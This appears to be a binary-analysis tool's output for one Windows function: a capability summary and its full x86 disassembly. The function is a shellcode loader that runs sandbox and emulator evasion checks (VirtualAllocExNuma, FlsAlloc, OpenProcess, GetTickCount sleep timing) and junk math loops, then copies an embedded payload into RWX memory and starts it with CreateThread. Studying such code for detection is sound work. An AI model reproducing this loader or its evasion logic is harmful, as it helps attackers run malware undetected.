Function at 0x4015b0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x298
call dbg.__main
mov dword [esp], 0xa4c
call sym._malloc
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x1c], 0
jmp 0x401620
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x1c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x64]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x292
jle 0x4015e4
mov dword [ebp - 0x1c], 0
jmp 0x4016eb
mov dword [ebp - 0x104], 0
jmp 0x4016d3
mov eax, dword [ebp - 0x1c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x104]
add eax, 1
lea ecx, [eax*4]
mov eax, dword [ebp - 0x64]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jle 0x4016cf
mov eax, dword [ebp - 0x104]
lea edx, [eax*4]
mov eax, dword [ebp - 0x64]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x1c]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x64]
add eax, edx
mov edx, dword [ebp - 0x104]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x64]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x104]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x64]
add edx, eax
mov eax, dword [ebp - 0x108]
mov dword [edx], eax
add dword [ebp - 0x1c], 1
mov eax, 0x292
sub eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x104], eax
jl 0x401644
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x292
jle 0x401635
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._free
mov dword [esp], 0x19c8
call sym._malloc
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x20], 0
jmp 0x401751
call sym._rand
mov dword [ebp - 0x27c], eax
fild dword [ebp - 0x27c]
fld qword [0x4051e8]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x20]
lea edx, [eax*8]
mov eax, dword [ebp - 0x68]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x338
jle 0x40171b
mov dword [ebp - 0x20], 0
jmp 0x401792
mov eax, dword [ebp - 0x20]
lea edx, [eax*8]
mov eax, dword [ebp - 0x68]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x20]
lea edx, [eax*8]
mov eax, dword [ebp - 0x68]
lea ebx, [edx + eax]
fstp qword [esp]
call sym._acos
fstp qword [ebx]
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x338
jle 0x401763
mov dword [ebp - 0x24], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x401814
mov dword [esp + 4], str.VirtualAllocExNuma
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x70], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x482
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x70]
call eax
sub esp, 0x18
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x402173
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x401865
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x78], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x78]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
je 0x402173
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1fffff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x402173
mov dword [ebp - 0x80], 0x297
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
call eax
mov dword [ebp - 0x88], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov eax, dword [ebp - 0x84]
call eax
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
sub eax, dword [ebp - 0x88]
cmp eax, 0x265
jbe 0x402173
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.FlsAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x90], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x90]
call eax
sub esp, 4
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0xffffffff
je 0x402173
mov dword [ebp - 0x98], 0x25a
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
call eax
mov dword [ebp - 0xa0], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov eax, dword [ebp - 0x9c]
call eax
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
sub eax, dword [ebp - 0xa0]
cmp eax, 0x228
jbe 0x402173
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
call eax
mov dword [ebp - 0xac], eax
mov dword [esp], 0x297
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0xa8]
call eax
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0xac]
cmp eax, 0x265
jbe 0x402173
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
call eax
mov dword [ebp - 0xb8], eax
mov dword [esp], 0x24d
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0xb4]
call eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xb8]
cmp eax, 0x21b
jbe 0x402173
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
je 0x401b26
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0xc0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0xc4]
call eax
sub esp, 4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x402173
mov dword [ebp - 0xc8], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAllocExNuma
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xcc], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x297
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xcc]
call eax
sub esp, 0x18
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
je 0x402173
lea eax, [ebp - 0x26f]
mov ebx, 0x405080
mov edx, 0x163
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x162
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0xd0], eax
mov dword [esp], 0xf24
call sym._malloc
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0x34], 0
jmp 0x401c99
mov dword [ebp - 0x38], 0
jmp 0x401c8f
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x34]
imul edx, eax, 0xe4
mov eax, dword [ebp - 0xd4]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x38]
mov dword [ebx + edx*4], eax
add dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0x38
jle 0x401c50
add dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0x10
jle 0x401c47
mov dword [ebp - 0x34], 0
jmp 0x401cde
mov dword [ebp - 0x38], 0
jmp 0x401cd4
mov eax, dword [ebp - 0x34]
imul edx, eax, 0xe4
mov eax, dword [ebp - 0xd4]
add edx, eax
mov eax, dword [ebp - 0x38]
mov eax, dword [edx + eax*4]
test eax, eax
jne 0x401cd0
add dword [ebp - 0x30], 1
add dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0x38
jle 0x401cb1
add dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0x10
jle 0x401ca8
cmp dword [ebp - 0x30], 0x1e4
je 0x401cf7
mov dword [ebp - 0xd8], 0
mov eax, dword [ebp - 0xd4]
mov dword [esp], eax
call sym._free
mov dword [esp], 0xd00
call sym._malloc
mov dword [ebp - 0xdc], eax
mov dword [esp], 0xd00
call sym._malloc
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x40], 0x33f
mov dword [ebp - 0x3c], 0
jmp 0x401da4
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xdc]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
mov eax, dword [ebp - 0x40]
lea edx, [eax*4]
mov eax, dword [ebp - 0xdc]
add eax, edx
mov edx, dword [ebp - 0x3c]
lea ecx, [edx*4]
mov edx, dword [ebp - 0xe0]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x40], 1
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x33f
jle 0x401d39
mov eax, dword [ebp - 0xdc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xe0]
mov dword [esp], eax
call sym._free
mov dword [esp + 8], 0x162
lea eax, [ebp - 0x26f]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xd0]
mov dword [esp], eax
call sym._memmove
mov dword [esp], 0x18f0
call sym._malloc
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x44], 0
jmp 0x401e35
call sym._rand
mov dword [ebp - 0x27c], eax
fild dword [ebp - 0x27c]
mov eax, dword [ebp - 0x44]
lea edx, [eax*8]
mov eax, dword [ebp - 0xe4]
add eax, edx
fld qword [0x4051e8]
fdivp st(1)
fstp qword [eax]
add dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x31d
jle 0x401e04
mov dword [ebp - 0x44], 0
jmp 0x401e7c
mov eax, dword [ebp - 0x44]
lea edx, [eax*8]
mov eax, dword [ebp - 0xe4]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x44]
lea edx, [eax*8]
mov eax, dword [ebp - 0xe4]
lea ebx, [edx + eax]
fstp qword [esp]
call sym._atan
fstp qword [ebx]
add dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x31d
jle 0x401e47
mov dword [ebp - 0x48], 0x276
jmp 0x401e92
sub dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x16
jg 0x401e8e
mov dword [ebp - 0x4c], 0xfa
jmp 0x401ea5
sub dword [ebp - 0x4c], 1
cmp dword [ebp - 0x4c], 0x50
jg 0x401ea1
mov dword [esp], 0x6660
call sym._malloc
mov dword [ebp - 0xe8], eax
mov dword [esp], 0x6660
call sym._malloc
mov dword [ebp - 0xec], eax
mov dword [esp], 0x6660
call sym._malloc
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x50], 0
jmp 0x401f97
mov dword [ebp - 0x54], 0
jmp 0x401f89
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x50]
imul ecx, edx, 0x138
mov edx, dword [ebp - 0xe8]
add edx, ecx
mov dword [ebp - 0x27c], eax
fild dword [ebp - 0x27c]
mov eax, dword [ebp - 0x54]
fstp dword [edx + eax*4]
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x50]
imul ecx, edx, 0x138
mov edx, dword [ebp - 0xec]
add edx, ecx
mov dword [ebp - 0x27c], eax
fild dword [ebp - 0x27c]
mov eax, dword [ebp - 0x54]
fstp dword [edx + eax*4]
add dword [ebp - 0x54], 1
cmp dword [ebp - 0x54], 0x4d
jle 0x401ef9
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x53
jle 0x401eed
mov dword [ebp - 0x50], 0
jmp 0x402008
mov dword [ebp - 0x54], 0
jmp 0x401ffe
mov eax, dword [ebp - 0x50]
imul edx, eax, 0x138
mov eax, dword [ebp - 0xe8]
add edx, eax
mov eax, dword [ebp - 0x54]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x50]
imul edx, eax, 0x138
mov eax, dword [ebp - 0xec]
add edx, eax
mov eax, dword [ebp - 0x54]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x50]
imul edx, eax, 0x138
mov eax, dword [ebp - 0xf0]
add edx, eax
faddp st(1)
mov eax, dword [ebp - 0x54]
fstp dword [edx + eax*4]
add dword [ebp - 0x54], 1
cmp dword [ebp - 0x54], 0x4d
jle 0x401fb3
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x53
jle 0x401faa
mov eax, dword [ebp - 0xe8]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xec]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xf0]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xd0]
lea edx, [ebp - 0x10c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x58], 0x1ae
jmp 0x402088
sub dword [ebp - 0x58], 1
cmp dword [ebp - 0x58], 0x48
jg 0x402084
mov dword [esp], 0x85c
call sym._malloc
mov dword [ebp - 0xf8], eax
mov dword [esp], 0x85c
call sym._malloc
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x60], 0x216
mov dword [ebp - 0x5c], 0
jmp 0x40212d
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x5c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xf8]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
mov eax, dword [ebp - 0x60]
lea edx, [eax*4]
mov eax, dword [ebp - 0xf8]
add eax, edx
mov edx, dword [ebp - 0x5c]
lea ecx, [edx*4]
mov edx, dword [ebp - 0xfc]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x60], 1
add dword [ebp - 0x5c], 1
cmp dword [ebp - 0x5c], 0x216
jle 0x4020c2
mov eax, dword [ebp - 0xf8]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call sym._free
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xf4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [ebp - 0x100], eax
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret